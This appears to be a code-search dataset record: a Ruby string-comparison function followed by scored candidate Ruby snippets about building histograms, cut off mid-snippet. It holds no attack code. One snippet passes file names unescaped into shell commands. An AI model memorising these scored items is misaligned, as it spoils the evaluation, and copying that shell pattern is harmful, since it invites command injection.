[ { "docid": "f7add19d1db9a3ed273dd18fb289cbcc", "score": "0.0", "text": "def checkStrings(st1, st2)\n\n\tdups = {}\n\n\tst1.each_key { | key | \n\t\t#puts \"key is #{key}\"\n\t\tif st2.has_key?(key) == true \n\t\t\tval1 = st1.values_at(key).join.to_i\n\t\t\tval2 = st2.values_at(key).join.to_i\n\t\t\tif val1 > val2\n\t\t\t\tst2.delete(key)\n\t\t\telsif val1 < val2\n\t\t\t\tst1.delete(key)\n\t\t\telsif val1 == val2\n\t\t\t\ttemp = {\"=\" + key => val1}\n\t\t\t\tdups = dups.merge(temp)\n\t\t\t\tst2.delete(key)\n\t\t\t\tst1.delete(key)\t\n\t\t\tend\n\t\tend\n\n\t}\n\n\tif st1 != nil \n\t\tst1 = appendCharacters(st1, \"1\")\n\tend\n\n\tif st2 != nil\n\t\tst2 = appendCharacters(st2, \"2\")\n\tend\n\n\n\tfinalString = st1.merge(st2).merge(dups).sort_by { | key, value | -value }.to_a.join.split\"\"\n\n\treturn finalString\n\t\n\nend", "title": "" } ]
[ { "docid": "794be6c17a33b6d2a0b7014d6f8c396d", "score": "0.677172", "text": "def histogram\n if @histogram.nil?\n @histogram = Hash[*BINS.map{ |elt| [elt, 0] }.flatten]\n authors.each do |name, num_commits|\n bottom = 0\n BINS.each do |top|\n if num_commits >= bottom and num_commits < top\n @histogram[bottom] += 1\n end\n bottom = top\n end\n end\n end\n @histogram\nend", "title": "" }, { "docid": "f6ad4c663eda702b447acd4bd7eb60a9", "score": "0.65294", "text": "def histogram(fg = 'white', bg = 'black')\n red = Array.new(HISTOGRAM_COLS, 0)\n green = Array.new(HISTOGRAM_COLS, 0)\n blue = Array.new(HISTOGRAM_COLS, 0)\n alpha = Array.new(HISTOGRAM_COLS, 0)\n int = Array.new(HISTOGRAM_COLS, 0)\n\n rows.times do |row|\n pixels = get_pixels(0, row, columns, 1)\n pixels.each do |pixel|\n red[pixel.red & MAX_QUANTUM] += 1\n green[pixel.green & MAX_QUANTUM] += 1\n blue[pixel.blue & MAX_QUANTUM] += 1\n\n # Only count opacity channel if some pixels are not opaque.\n alpha[pixel.opacity & MAX_QUANTUM] += 1 unless opaque?\n v = pixel_intensity(pixel)\n int[v] += 1\n end\n end\n\n # Scale to chart size. When computing the scale, add some \"air\" between\n # the max frequency and the top of the histogram. This makes a prettier chart.\n # The RGBA and intensity histograms are all drawn to the same scale.\n\n max = [red.max, green.max, blue.max, alpha.max, int.max].max\n scale = HISTOGRAM_ROWS / (max * AIR_FACTOR)\n\n charts = ImageList.new\n\n # Add the thumbnail.\n thumb = copy\n thumb['Label'] = File.basename(filename)\n charts << thumb\n\n # Compute the channel and intensity histograms.\n channel_hists = channel_histograms(red, green, blue, int, scale, fg, bg)\n\n # Add the red, green, and blue histograms to the list\n charts << channel_hists.shift\n charts << channel_hists.shift\n charts << channel_hists.shift\n\n # Add Alpha channel or image stats\n charts << if !opaque?\n alpha_hist(alpha, scale, fg, bg)\n else\n info_text(fg, bg)\n end\n\n # Add the RGB histogram\n charts << channel_hists.shift\n\n # Add the intensity histogram.\n charts << intensity_hist(channel_hists.shift)\n\n # Add the color frequency histogram.\n charts << color_hist(fg, bg)\n\n # Make a montage.\n histogram = charts.montage do |options|\n options.background_color = bg\n options.stroke = 'transparent'\n options.fill = fg\n options.border_width = 1\n options.tile = '4x2'\n options.geometry = \"#{HISTOGRAM_COLS}x#{HISTOGRAM_ROWS}+10+10\"\n end\n\n histogram\n end", "title": "" }, { "docid": "2a891555f251e60e925342795a0d58b4", "score": "0.6505456", "text": "def histo_counts\n @histo_counts ||= calculate_histo_counts\n end", "title": "" }, { "docid": "51a2fe9ce4ddd82ee5b1a56fd30ead52", "score": "0.64642835", "text": "def histogram freq_group, title\n upper = freq_group.map(&:first).max\n values = spread(freq_group,(0..upper),0).map(&:second)\n chart [title], values\nend", "title": "" }, { "docid": "076b201023c01681fd7e72b14378bdb8", "score": "0.6372641", "text": "def histograms\n metrics(Histogram)\n end", "title": "" }, { "docid": "a4df75ae1679e9bc1a822336b16008d6", "score": "0.634463", "text": "def histogram grid, n = 50000\n marginal(n).to_h grid\n end", "title": "" }, { "docid": "dff6460b98a9246cb488638191bea210", "score": "0.6342195", "text": "def serializable_hash \n results.each.inject(empty_bins) do |histogram, result|\n histogram[result] = histogram[result] ? histogram[result] + 1 : 1; histogram\n end\n end", "title": "" }, { "docid": "aee0144c416799929060d481344873e8", "score": "0.6313164", "text": "def define_histogram(name, opts = {}, &block)\n define_metric(:histogram, name, opts, &block)\n end", "title": "" }, { "docid": "73da8c3d731bf2b9c021fc14878c1f9c", "score": "0.63058245", "text": "def histogram(params = {})\n params[:name] ||= File.join(@pictureName.gsub(\".png\", \"Histogram.html\"))\n bins = Hash.new(0)\n \n (0...@picture.height).each do |j|\n (0...@picture.width).each do |i|\n r = ChunkyPNG::Color.r(@picture[i,j])\n g = ChunkyPNG::Color.g(@picture[i,j])\n b = ChunkyPNG::Color.b(@picture[i,j])\n \n op = 0.241 * r**2 + 0.691 * g**2 + 0.68 * b**2\n val = Math.sqrt(op).round\n val /= 13\n \n bins[val] += 1\n end\n end\n \n bins = Hash[ bins.map { |k,v| [k * 13, v] }.sort ]\n graph(bins, params[:name])\n end", "title": "" }, { "docid": "00a116bb1a7a45f976ab8ec86b46358d", "score": "0.6292492", "text": "def histogram(results)\n array = []\n results.each_with_index do |rolls, index|\n if rolls > 0\n array.unshift(\"#{index + 1}|#{\"#\" * rolls} #{rolls}\\n\")\n else\n array.unshift(\"#{index + 1}|#{\"#\" * rolls}\\n\")\n end\n end\n\n array.join\nend", "title": "" }, { "docid": "5720da7a910ba6fdca14870b0be17a55", "score": "0.61489856", "text": "def calc_histogram(arr, list=nil)\n\t\t\n\t\thisto = []\n\t\tif list.nil?\n\t\t\tarr[0].clusters.each_key do |clust|\n\t\t\t\tgene_class = sum_cluster(arr, clust)\n\t\t\t\tnext unless gene_class > 0\n\t\t\t\tif histo[gene_class].nil? \n\t\t\t\t\thisto[gene_class] = 1\n\t\t\t\telse\n\t\t\t\t\thisto[gene_class] += 1\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tnew_array = []\n\t\t\tarr.each do |strain|\n\t\t\t\tif list.include? strain.name\n\t\t\t\t\tnew_array.push(strain)\n\t\t\t\t\tnew_array[0].clusters.each_key do |clust|\n\t\t\t\t\t\tgene_class = sum_cluster(new_array, clust)\n\t\t\t\t\t\tif histo[gene_class].nil? \n\t\t\t\t\t\t\thisto[gene_class] = 1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\thisto[gene_class] += 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\thisto.shift\n\t\thisto\n\tend", "title": "" }, { "docid": "7e20fe7167dd58aff4860fd19069f4e6", "score": "0.6148554", "text": "def write_bins\n []\n end", "title": "" }, { "docid": "546187fb40531720fd8783144218b65b", "score": "0.61416525", "text": "def calcRandHistogram2(rand, lowerBound, upperBound, nSections=100, nRuns=10000)\n bRand = boundedRand(rand, lowerBound, upperBound)\n sectionWidth = (upperBound - lowerBound) / nSections\n\n result = Array.new(nSections) {|i| [lowerBound + i*sectionWidth, 0]}\n\n nRuns.times { |i|\n r = bRand.call\n result[(r-lowerBound)/sectionWidth][1] += 1\n }\n\n result\nend", "title": "" }, { "docid": "c63f434184b320e11bc513d66164eba9", "score": "0.6090224", "text": "def create_Qreads_hist_data(qualities)\r\n hist = [0] * 50\r\n qualities.each do |qual|\r\n qual.each_char do |phred|\r\n q = convert_phred33_to_q(phred)\r\n hist[q] += 1\r\n end\r\n end\r\n return hist\r\nend", "title": "" }, { "docid": "42b7aefa25b5f156ff51da467a3be614", "score": "0.606614", "text": "def hist\n return [] unless @histogram_buckets\n max = @histogram_buckets.max.to_f\n @histogram_buckets[0..-2].map { | count | { count: count, score: max > 0 ? count / max : 0 } }\n end", "title": "" }, { "docid": "efc98348322b2aa2a200043388abb6c9", "score": "0.60263085", "text": "def reset_all!\n initialize_histograms_hash\n end", "title": "" }, { "docid": "3e753a942d5242f0d893093afece8b48", "score": "0.6023144", "text": "def histogram(htype, data_column)\n print_csv_results\n if data_column == 2\n var = \"ddays\"\n unit = 1\n elsif data_column == 3\n var = \"sum_dose\"\n if @config[\"dose_unit\"] == \"mSv\"\n unit = 1\n else\n unit = 1000\n end\n end\n # min_value -- where binning starts; max_value -- where binning ends\n min_value = @data.min_by{|key, values| values[var]}[1][var] / unit\n max_value = @data.max_by{|key, values| values[var]}[1][var] / unit\n FileUtils.mkdir_p(%w(gnuplot plots))\n erb(\"templates/histogram.gp.erb\", \"gnuplot/#{htype}.gp\", {:config => @config, :column => data_column, :htype => htype, :min => min_value, :max => max_value})\n system(\"#{@config[\"path_gnuplot\"] || \"gnuplot\"} gnuplot/#{htype}.gp\")\n puts \"Draw a #{htype}.#{@config[\"output_format\"] || \"png\"} in plots!\"\n FileUtils.rm_rf(%w(gnuplot data))\n end", "title": "" }, { "docid": "e2c0212c1eaf13f8211504e2b6a21593", "score": "0.6004067", "text": "def calcRandHistogram(rand, lowerBound, upperBound, nSections=100, nRuns=10000)\n bRand = boundedRand(rand, lowerBound, upperBound)\n sectionWidth = (upperBound - lowerBound) / nSections\n\n xs = (0...nSections).collect {|i| lowerBound + i*sectionWidth}\n ys = [0]*nSections\n\n nRuns.times { |i|\n r = bRand.call\n ys[(r-lowerBound)/sectionWidth] += 1\n }\n\n [xs,ys]\nend", "title": "" }, { "docid": "8320cd9410362de81a3cfbe534d2f2c6", "score": "0.5955837", "text": "def extract_histogram\n Riiif::File.new(\"#{Settings.IMAGE_PATH}/#{file_name}\")\n .extract(\n Riiif::Transformation.new(\n nil, nil, nil, nil,\n # Only provide :format for this Struct\n '-define histogram:unique-colors=true -format %c'\\\n ' histogram:info'\n )\n )\n end", "title": "" }, { "docid": "d959c7a92889abaa2b65849bf4474981", "score": "0.5948901", "text": "def histogram(*args, &block)\n reduce(Hash.new(0)) do |hist, h|\n if block_given?\n v = yield(h)\n else\n v = h[args.first]\n end\n hist[v] += 1\n hist\n end\n end", "title": "" }, { "docid": "8b79420d612f391dec5c4228932d6470", "score": "0.5945713", "text": "def histo_mids\n @histo_mids ||= histo_ranges.map { |x| (x[0] + x[1]) / 2 }\n end", "title": "" }, { "docid": "f2d82d5aa8dd9e3b46c5334982d1adfc", "score": "0.5899559", "text": "def prepare_fasta_hhviz_histograms_etc\n # Reformat query into fasta format ('full' alignment, i.e. 100 maximally diverse sequences, to limit amount of data to transfer)\n @commands << \"#{HH}/hhfilter -i #{@basename}.a3m -o #{@local_dir}/#{job.jobid}.reduced.a3m -diff 100\"\n @commands << \"#{HH}/reformat.pl a3m fas #{@local_dir}/#{job.jobid}.reduced.a3m #{@basename}.fas -d 160\" # max. 160 chars in description \n \n # Reformat query into fasta format (reduced alignment) (Careful: would need 32-bit version to execute on web server!!)\n @commands << \"#{HH}/hhfilter -i #{@basename}.a3m -o #{@local_dir}/#{job.jobid}.reduced.a3m -diff 50\"\n @commands << \"#{HH}/reformat.pl -r a3m fas #{@local_dir}/#{job.jobid}.reduced.a3m #{@basename}.reduced.fas\"\n @commands << \"rm #{@local_dir}/#{job.jobid}.reduced.a3m\"\n \n # Generate graphical display of hits\n @commands << \"#{HH}/hhviz.pl #{job.jobid} #{job.job_dir} #{job.url_for_job_dir} &> /dev/null\"\n \n # Generate profile histograms\n @commands << \"#{HH}/profile_logos.pl #{job.jobid} #{job.job_dir} #{job.url_for_job_dir} 1>> #{job.statuslog_path} 2>> #{job.statuslog_path}\"\n end", "title": "" }, { "docid": "ab385ec9e7810eee1e357ff308dccab3", "score": "0.58512497", "text": "def calculate_histo_counts\n counts = []\n xx = x.dup\n histo_ranges.each do |i|\n counts << xx.size - xx.delete_if { |j| j > i[1] }.size\n end\n counts\n end", "title": "" }, { "docid": "a543ccbafa1f24accfc2a53da2b14a5e", "score": "0.5803555", "text": "def write \n @histos.each{|h| h.Write}\n end", "title": "" }, { "docid": "06ae993ce9da2e4a0a1f7f9c0faab7cf", "score": "0.5763265", "text": "def time_histogram(time_bin,object_array)\n binned = Hash.new(0)\n p = Proc.new { |date|\n case time_bin\n when :day_of_month then date.strftime(\"%d\")\n when :day_of_week then date.strftime(\"%A\")\n when :time_of_day then date.strftime(\"%H\")\n else \n nil\n end\n }\n \n object_array.each { |v| \n date = yield v\n if date and bin = p.call(date) \n binned[bin] += 1\n end\n } \n binned\n end", "title": "" }, { "docid": "406bf4228b19ac377764e242b9679850", "score": "0.57487506", "text": "def register_histogram( name )\n @metrics.histogram( name )\n end", "title": "" }, { "docid": "c54888594b5e01bcec957fdd47715398", "score": "0.5731412", "text": "def calculate_histo_ranges\n rng = [[effective_range[1], effective_range[1] - histo_bin_size]]\n while rng[rng.size - 1][1] > effective_range[0]\n rng << [rng[rng.size - 1][1], rng[rng.size - 1][1] - histo_bin_size]\n end\n rng\n end", "title": "" }, { "docid": "9d04a818565d4109cf5c75d50eea4add", "score": "0.5723759", "text": "def alloc_uniform(n_bins, p1=nil,p2=nil)\n if p1.is_a? Array\n min,max=p1\n else\n min,max=p1,p2\n end\n range=max - min\n step=range / n_bins.to_f\n range=(n_bins+1).times.map {|i| min + (step*i)}\n Histogram.new(range)\n end", "title": "" }, { "docid": "6b6ab1ac176a7570a96ab8f982444bac", "score": "0.5719679", "text": "def add_bar_stacks(time_range, inner_start_value, inner_start_value_used, counts, colors_to_use, y_max, keys, colors, interval)\n\t\tbar_values = [[],[]] # bar_values[0] is the value for each program / bar_values[1] is the total\n\t\ttool_tip = (time_range == 0) ? \"<br>Time: #{(inner_start_value+(inner_start_value_used-inner_start_value.hour).hour).to_s(:time12)}\" : \"<br>Date range: #{inner_start_value_used} | #{inner_start_value_used+interval}\"\n\t\ttmp = 0\n\t\tcounts[0].each do |count|\n\t\t\tif tmp == 0\n\t\t\t\tcolor = colors_to_use[tmp]\n\t\t\t\tbar_values[1] << { \"val\" => count, \"colour\" => color, \"tip\" => \"All Programs \"+tool_tip+\"<br>This Interval: #{count}<br>Running Total: #{counts[1][tmp]}\" }\n\t\t\t\ty_max = count if count > y_max\n\t\t\telsif count != nil\n\t\t\t\tcolor = nil\n\t\t\t\tif colors_to_use[tmp].nil?\n\t\t\t\t\tcolor = colors.size == 0 ? random_color : colors.pop\n\t\t\t\t\tcolors_to_use = colors_to_use.merge( { tmp => color } )\n\t\t\t\t\tkeys[0] << { \"colour\" => color, \"text\" => Unit.find(tmp).name , \"font-size\"=> 9} \n\t\t\t\telse\n\t\t\t\t\tcolor = colors_to_use[tmp]\n\t\t\t\tend\n\t\t\t\tbar_values[0] << { \"val\" => count, \"colour\" => color, \"tip\" => \"#{Unit.find(tmp).name} \"+tool_tip+\"<br>This Interval: #{count} (~ #{ (count.to_f / counts[0][0]*100).to_i unless counts[0][0].nil? || counts[0][0] == 0 }% )<br>Running Total: #{counts[1][tmp]} (~ #{ (counts[1][tmp].to_f / counts[1][0]*100).to_i unless counts[1][0].nil? || counts[1][0] == 0 }% )\" }\n\t\t\tend\n\t\t\ttmp += 1\n\t\tend\n\t\treturn [bar_values, colors, colors_to_use, y_max, keys]\n\tend", "title": "" }, { "docid": "36194fd218d06c4c91f9720b12a9920e", "score": "0.5704763", "text": "def histogram(arr,ch)\n temp_arr=[]\n arr.each do |c|\n c.times {print ch} \n print \"\\n\"\n end\t \n temp_arr\nend", "title": "" }, { "docid": "98e23eb7dbf273bc7379cfe5990e1a91", "score": "0.564938", "text": "def histo_bin_size\n @opts[:histo_bin_size] ||= effective_range_size / 50.0\n end", "title": "" }, { "docid": "ececba58980f975584a6023b8cbc17cb", "score": "0.56035143", "text": "def hbarchart(*args)\n HBar.new(self, *args)\n end", "title": "" }, { "docid": "55a69fa31f7f56fad678735ba62b4552", "score": "0.55566686", "text": "def ri_histogram(az, platform, size, options={})\n options[:az] = az\n options[:platform] = platform\n options[:size] = size\n\n request = get '/1/reporting/histogram', options\n Hashie::Mash.new request\n end", "title": "" }, { "docid": "12e8ba98f640a4a5a438ee924ba3ec63", "score": "0.5555566", "text": "def generatePlot( options={} )\n # Generate an array of the x hash values to easily find the minimum and maximum.\n x = Array.new\n @x_data.keys.each { |key|\n x.push(@x_data[key].to_f)\n }\n\n defaults = { :filename => \"data\",\n :numBins => 2,\n :x_label => \"X\",\n :y_label => \"Y\",\n :title => \"Title\",\n :min => x.min,\n :max => x.max,\n :logx => false,\n :logy => false,\n :linreg => false,\n :dataLabels => false,\n :doOutliers => false,\n :outlierK => 3,\n :addOutlierLabels => 0,\n :savePlot => false }\n\n options = defaults.merge(options)\n\n savePlot = options[:savePlot]\n filename = options[:filename]\n numBins = options[:numBins]\n x_label = options[:x_label]\n y_label = options[:y_label]\n title = options[:title]\n min = options[:min]\n max = options[:max]\n logx = options[:logx]\n logy = options[:logy]\n linreg = options[:linreg]\n outlierAnalysis = Array.[](options[:doOutliers],options[:outlierK])\n dataLabels = options[:dataLabels]\n addOutlierLabels = options[:addOutlierLabels]\n\n if (@plottype == :histogram)\n\n bw = (max.to_f - min.to_f) / numBins.to_f # Calculate bin width\n x_count = Array.new\n x_axis = Array.new\n\n histfile = File.new(filename + \".histo\", \"w\") # File that shows the keys that belong in each bin.\n\n # checks which values belong in each bin. Edgecases go to the lower bin.\n (1..numBins).each {|n|\n count = 0\n histfile.puts \"Values from #{(min.to_f + (n.to_f-1) * bw.to_f)} to #{min.to_f + n.to_f * bw.to_f}.\" # Label the bin in the file.\n\n if (min == x.min && n == 1) # To fix the issue with keys being left out if the bin minimum == data minimum(s)\n @x_data.keys.each {|key|\n if (@x_data[key] == x.min)\n histfile.puts key # Place a copy of the minimum(s) in the first bin\n count = count + 1 # Increment the first bin to reflect this\n end\n }\n end\n\n @x_data.keys.each {|v|\n if(((min.to_f + (n.to_f-1) * bw.to_f) < (@x_data[v].to_f)) and ((@x_data[v].to_f) <= (min.to_f + n.to_f * bw.to_f)))\n count = count + 1 # Add increment the bin counter if the key qualifies\n histfile.puts v # List the key in the bin if it qualifies\n end\n }\n\n x_count.push(count) # Add the bin count to the count array.\n }\n\n histfile.close\n\n # To check bin counts\n binSum = 0;\n (0..(numBins-1)).each { |index|\n binSum = x_count[index] + binSum\n puts \"Bin #{index} contains #{x_count[index]}\" if $verbose\n }\n puts \"There were #{binSum} samples in the plot.\" if $verbose\n\n # generates the x axis\n (1..numBins).each {|n|\n x_axis.push(min.to_f + (0.5*bw.to_f + bw.to_f * (n-1)))\n }\n\n Gnuplot.open do |gp|\n Gnuplot::Plot.new( gp ) do |plot|\n plot.title title\n plot.ylabel \"Frequency\"\n plot.xlabel x_label\n\n # Save the plot to a file\n if (savePlot == true)\n plot.terminal \"gif\"\n plot.output filename + \".gif\"\n end\n\n plot.arbitrary_lines << \"set xrange [\" + min.to_s + \":\" + max.to_s + \"]\" # Set x axis according to max and mins\n plot.arbitrary_lines << \"set yrange [0:#{x_count.max.to_f + x_count.max.to_f * 0.1}]\" # Make the y axis 110% of the highest count\n\n plot.data << Gnuplot::DataSet.new( [x_axis, x_count] ) do |ds|\n ds.with = \"boxes\"\n ds.notitle\n end\n end\n end\n end\n\n if (@plottype == :scatter)\n\n if(@x_data.length == @y_data.length)\n\n # generate a datafile to use in gnuplot\n datfile = filename + \".scatter\"\n\n newfile = File.new(datfile, \"w\")\n\n # pointCount tells how many points are on the graph\n pointCount = 0\n @x_data.keys.each { |i|\n newfile.puts \"#{@x_data[i]}\\t#{@y_data[i]}\"\n pointCount = pointCount + 1\n }\n\n puts \"There are #{pointCount} points on the plot.\" if $verbose\n\n newfile.close\n\n # plot data\n Gnuplot.open do |gp|\n Gnuplot::Plot.new( gp ) do |plot|\n\n # plot to a file\n if (savePlot == true)\n plot.terminal \"gif\"\n plot.output filename + \".gif\"\n end\n\n #apply title/labels\n plot.title title\n plot.ylabel y_label\n plot.xlabel x_label\n\n # check if graphs need to be logscaled\n if (logx)\n plot.arbitrary_lines << \"set logscale x\"\n end\n\n if (logy)\n plot.arbitrary_lines << \"set logscale y\"\n end\n\n # check if a linear regression is desired\n if (linreg)\n plot.arbitrary_lines << \"f(x) = m*x + b\"\n plot.arbitrary_lines << \"fit f(x) '\" + datfile + \"' using 1:2 via m,b\"\n end\n\n # perform outlier analysis\n if (outlierAnalysis[0])\n\n # generate array of slopes of data\n yDivX = Array.new\n @x_data.keys.each { |key|\n yDivX.push(@y_data[key].to_f / @x_data[key].to_f)\n }\n\n # apply the 5 number summary function\n summData = Array.new\n summData = yDivX.fiveNumSum # match to new function\n\n # Calculate slopes of minimum and maximum lines to show outliers\n maxline = summData[2] + outlierAnalysis[1] * (summData[3] - summData[1])\n minline = summData[2] - outlierAnalysis[1] * (summData[3] - summData[1])\n\n # Define the minline and maxline in gnuplot\n plot.arbitrary_lines << \"a(x) = #{minline}*x\"\n plot.arbitrary_lines << \"b(x) = #{maxline}*x\"\n\n end #outlier analysis\n\n\n # Generate a plot string\n plotString = \"plot '#{datfile}' notitle\"\n\n # add linear regression\n if (linreg)\n plotString = plotString + \", f(x) title 'Linear Fit'\"\n end\n\n # plot with outlier analysis\n if (outlierAnalysis[0])\n plotString = plotString + \", a(x) title 'Minimum', b(x) title 'Maximum'\"\n end\n # add data point names if desired\n if (dataLabels && addOutlierLabels == 0) # Won't label everything if outlier labeling is enabled\n @x_data.keys.each { |key|\n plot.arbitrary_lines << \"set label '#{key}' at #{@x_data[key].to_f}, #{@y_data[key].to_f}\"\n }\n end\n\n # add outlier data labels\n if ( addOutlierLabels > 0 )\n self.findOutliers( filename + \"ForLabels\", addOutlierLabels )\n @outlier_data.keys.each { |key|\n # add labels to each point where an outlier exists\n plot.arbitrary_lines << \"set label '#{key}' at #{@x_data[key].to_f}, #{@y_data[key].to_f}\"\n }\n puts \"Labeled #{@outlier_data.size} outliers.\" if $verbose\n end\n plot.arbitrary_lines << plotString\n end\n end\n\n # Regenerate the data file to add in key names.\n newfile = File.new(datfile+ \"WITHNAMES\", \"w\")\n \n newfile.puts \"Name\\tX\\tY\"\n\n @x_data.keys.each { |i|\n newfile.puts \"#{i}\\t#{@x_data[i]}\\t#{@y_data[i]}\"\n }\n\n newfile.close\n\n else\n puts \"X and Y are different sizes\"\n end # x y size check\n end # scatter\n\n end", "title": "" }, { "docid": "2e0202c5c8675405dbc4713b70b33a1f", "score": "0.5542169", "text": "def get_histogram(url)\n\t\tbegin \n\t\t\tmax_colors = settings.max_colors\n\t\t\timage = Magick::ImageList.new \n\t\t\th = {}\n\n\t\t\turi = URI.parse(url)\n\n\t\t\turi.open { |f|\n\t\t\t\timage.from_blob(f.read)\n\n\t\t\t\ttotal_pixels = image.columns * image.rows\n\t\t\t\thist = image.quantize(256, Magick::RGBColorspace).color_histogram\n\t\t\t\thist = Hash[hist.sort_by { |k,v| -v }[0..max_colors - 1]]\n\n\t\t\t\tpixels = hist.each {|pixel, value|\n\t\t\t\t\th[pixel.to_color(Magick::AllCompliance, false, 8, true)] = (value/total_pixels.to_f * 100).round(2)\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\treturn h\n\t\trescue\n\t\t\traise \n\t\tend\n\tend", "title": "" }, { "docid": "b37c584c104ae070d057b57338c4019d", "score": "0.5527786", "text": "def _make_plots_evt(dataset,pars)\n cind = @canvases.length\n canvas = ::TCanvas.new(\"compare_canvas_#{cind}\",'',25 + 50*cind,\n\t\t\t 25,500,500)\n canvas.Divide(2,2) \n canvas.cd(1)\n dataset.read_in_amps(PWA::ParIDs.max_id,:acc)\n dname = dataset.name\n # data\n title,num_bins,min,max,bins = dataset.histo_bins(@kvs,pars,:unwtd,:data,@condition)\n h_data = TH2F.new(\"h_#{dataset.name}_data\",'data',num_bins[0],min[0],\n\t\t\tmax[0],num_bins[1],min[1],max[1])\n bins.each_index{|i| \n\tbins[i].each_index{|j| h_data.SetBinContent(i+1,j+1,bins[i][j])}\n }\n h_data.GetXaxis.SetTitle title[0]\n h_data.GetYaxis.SetTitle title[1]\n h_data.Draw 'colz'\n data_integral = h_data.Integral\n data_min = h_data.GetMinimum\n data_max = h_data.GetMaximum\n @histos.push h_data\n gPad.Update\n # acc \n canvas.cd(2)\n title,num_bins,min,max,bins = dataset.histo_bins(@kvs,pars,:unwtd,:acc,@condition)\n h_acc = TH2F.new(\"h_#{dataset.name}_acc\",'acc(unwtd)',num_bins[0],min[0],\n\t\t max[0],num_bins[1],min[1],max[1])\n bins.each_index{|i| \n\tbins[i].each_index{|j| h_acc.SetBinContent(i+1,j+1,bins[i][j])}\n }\n h_acc.GetXaxis.SetTitle title[0]\n h_acc.GetYaxis.SetTitle title[1]\n acc_integral = h_acc.Integral\n h_acc.Scale(data_integral/acc_integral) if(acc_integral > 0)\n h_acc.SetMinimum data_min\n h_acc.SetMaximum data_max\n h_acc.Draw 'colz' \n @histos.push h_acc\n gPad.Update\n # wtd acc\n canvas.cd 3\n dataset.read_in_norm(:acc)\n y = dataset.calc_yield(pars,'.',:acc)\n title,num_bins,min,max,bins = dataset.histo_bins(@kvs,pars,'.',:acc,@condition)\n h_acc_wt = TH2F.new(\"h_#{dataset.name}_acc_wt\",'acc(wtd)',num_bins[0],\n\t\t\t min[0],max[0],num_bins[1],min[1],max[1])\n bins.each_index{|i| \n\tbins[i].each_index{|j| h_acc_wt.SetBinContent(i+1,j+1,bins[i][j])}\n }\n h_acc_wt.GetXaxis.SetTitle title[0]\n h_acc_wt.GetYaxis.SetTitle title[1]\n acc_integral_wt = h_acc_wt.Integral\n h_acc_wt.Scale(y/acc_integral_wt) if(acc_integral_wt > 0)\n h_acc_wt.SetMinimum data_min\n h_acc_wt.SetMaximum data_max\n h_acc_wt.Draw 'colz' \n @histos.push h_acc_wt\n gPad.Update\n # chi^2 \n canvas.cd 4\n h_chi2 = TH2F.new(\"h_#{dataset.name}_chi2\",'#chi^{2}',num_bins[0],min[0],\n\t\t\tmax[0],num_bins[1],min[1],max[1])\n h_chi2.GetXaxis.SetTitle title[0]\n h_chi2.GetYaxis.SetTitle title[1]\n 1.upto(bins.length){|i|\n\t1.upto(bins[i-1].length){|j|\n\t data = h_data.GetBinContent(i,j)\n\t derr = h_data.GetBinError(i,j)\n\t acc = h_acc_wt.GetBinContent(i,j)\n\t aerr = h_acc_wt.GetBinError(i,j)\n\t if(aerr > 0 and derr > 0)\n\t chi2 = ((data-acc)**2)/(aerr**2 + derr**2)\n\t chi2 *= -1 if(acc > data)\n\t h_chi2.SetBinContent(i,j,chi2)\n\t end\n\t}\n }\n h_chi2.Draw 'colz' \n @histos.push h_chi2\n gPad.Update\n #\n canvas.cd\n @canvases.push canvas\n end", "title": "" }, { "docid": "6403eb368846d77af7d6cc56aa7b7699", "score": "0.5519504", "text": "def extract_and_parse_histogram\n self.histogram = HistogramExtractor.new(file_name)\n .extract_and_parse_histogram\n save\n end", "title": "" }, { "docid": "e39b2314169f5120420a34cd9e0b5afb", "score": "0.5513818", "text": "def mkhist(fname, hist)\n\ttext = nil\n\tif fname =~ /\\.txt$/ || fname =~ /\\.tex/\n\t\ttext = `cat \\\"#{fname}\\\" | #{$lex}`\n\telsif fname =~ /\\.pdf$/\n\t\ttext = `pdftotext -q \\\"#{fname}\\\" - | #{$lex}`\n\telsif fname =~ /\\.doc$/ || fname =~ /\\.docx$/\n\t\ttext = `textutil -stdout -convert txt \\\"#{fname}\\\" | #{$lex}`\n\tend\n\treturn if text == nil\n\n\twcount = 0\n\ttext.each_line{ |l|\n\t\tbegin\n\t\t\ttkn = l.split\n\t\t\tif tkn.length >= 3 && tkn[2] != \"<unknown>\"\n\t\t\t\tpart = nil\n\t\t\t\tpart = \"V\" if tkn[1] =~ /^VB/ #verb\n\t\t\t\tpart = \"Ad\" if tkn[1] =~ /^JJ/ # adjective\n\t\t\t\tpart = \"Adv\" if tkn[1] =~ /^RB/ # adverb\n\t\t\t\tpart = \"N\" if tkn[1] =~ /^NN/ # noun\n\t\t\t\tpart = \"C\" if tkn[1] =~ /^CC/ || tkn[1] =~ /^IN/ # conjunction/preposition\n\t\t\t\tif part\n\t\t\t\t\tword = tkn[2] # verb base form\n\t\t\t\t\thist[part][word] = 0 if hist[part][word] == nil\n\t\t\t\t\thist[part][word] += 1\n\t\t\t\t\twcount += 1\n\t\t\t\tend\n\t\t\tend\n\t\trescue\n\t\tend\n\t}\n\n\t$stderr.print \"#{wcount} word(s) are extracted\\n\\n\"\n\treturn wcount\nend", "title": "" }, { "docid": "cd809ba40d03905f8c178a76970ab9d5", "score": "0.55107254", "text": "def index\n @weekly_histograms = WeeklyHistogram.all\n end", "title": "" }, { "docid": "2210884232bebd8a9e3b7a7f4d9b7797", "score": "0.5493803", "text": "def show\n overlap1 = []\n overlap2 = []\n interlibrary_loans = []\n circulations = []\n @analysis_group.monograph_holdings.each do |holding|\n overlap1 << holding.overlap_holdings_count(1)\n overlap2 << holding.overlap_holdings_count(2)\n interlibrary_loans << holding.interlibrary_loans_count\n circulations << holding.circulation_count\n end\n\n #This isn't quite right. Need distinct OCLC Numbers because there will be overlap\n #Maybe something like this will work\n #ActiveRecord::Base.connection.execute(\"SELECT SUM(shared_by) FROM (SELECT * FROM overlap_holdings GROUP BY oclc_number)\")\n\n overlap_overall = OverlapHolding.pluck(:shared_by)\n\n interlibrary_loans_overall = InterlibraryLoan.group(:oclc_number).count.values\n interlibrary_loans_overall.concat(Array.new(zero_interlibrary_loans, 0))\n\n circulations_overall = Circulation.group(:oclc_number).count.values\n circulations_overall.concat(Array.new(zero_circulations, 0))\n\n # max = overlap1.max > overlap_overall.max ? overlap1.max : overlap_overall.max\n # max = overlap2.max > max ? overlap2.max : max\n\n # @overlap1_histogram = overlap1.histogram(10, :min => 0, 